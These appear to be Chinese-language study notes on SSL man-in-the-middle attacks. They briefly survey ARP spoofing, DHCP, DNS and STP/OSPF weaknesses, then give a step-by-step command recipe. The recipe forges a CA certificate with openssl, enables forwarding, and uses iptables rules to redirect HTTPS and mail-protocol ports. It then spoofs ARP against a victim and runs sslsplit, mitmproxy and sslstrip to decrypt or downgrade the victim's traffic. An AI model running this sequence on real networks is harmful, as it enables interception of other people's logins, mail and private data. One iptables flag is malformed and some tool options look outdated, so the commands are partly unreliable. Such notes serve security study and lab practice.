SSL中间人攻击
攻击者位于客户端和服务器通信链路中
ARP地址欺骗 让受害者认为中间人机器是网关
DHCP动态主机配置协议 协议本身缺乏保护机制,其通信四步过程第一步是基于广播的,windows的话其中四步全是广播
修改网关
修改DNS
修改HOSTS
攻击脆弱协议ICMP、STP、OSPF
STP(生成树协议) 是物理环路存在的情况下,避免逻辑环路
OSPF(Open Shortest Path First开放式最短路径优先)
攻击的前提条件
客户端已经信任伪造证书的颁发机构
攻击者已经控制了合法的证书颁发机构
客户端禁止了显示证书错误告警信息
攻击者已经控制客户端,强制其信任伪造证书
SSLsplit
透明SSL/TSL中间人攻击工具
对客户端伪装成服务器,对服务器伪装成普通客户端
伪装服务器需要伪造证书,先生成一张,用openssl生成证书私钥
openssl genrsa -out ca.key 2048
利用私钥签名生成证书
openssl req -new -x509 -days 1096 -key ca.key -out ca.crt
开启路由功能
启动路由
sysctl -w net.ipv4.ip_forward=1
iptables(做nat端口、地址转换)
-L 显示现有规则
-F 刷新现有的规则
设置前确定80、443端口不被其他程序占用
转发规则
iptables -t nat -F
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 (#MSA 邮件提交代理)
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 (#SMTPS)
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 (#IMAPS)
iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443 (#POP3S)
Iptables -t nat -L
ARP欺骗
arpspoof -i eth0 -t 要欺骗的地址 -r 欺骗成谁
启动SSLsplit
mkdir -p test/logdir(jaildir/logdir )
sslsplit -D -l connect.log -j /root/test -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
mitmproxy工具
软件bug
修改规则
iptables -t nat -F
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --toport 8080
启动
mitmproxy -T --host -w mitmproxy.log
SSLstrip
略有不同
把客户端到中间人之间的流量变成明文
SSLstrip -l 8080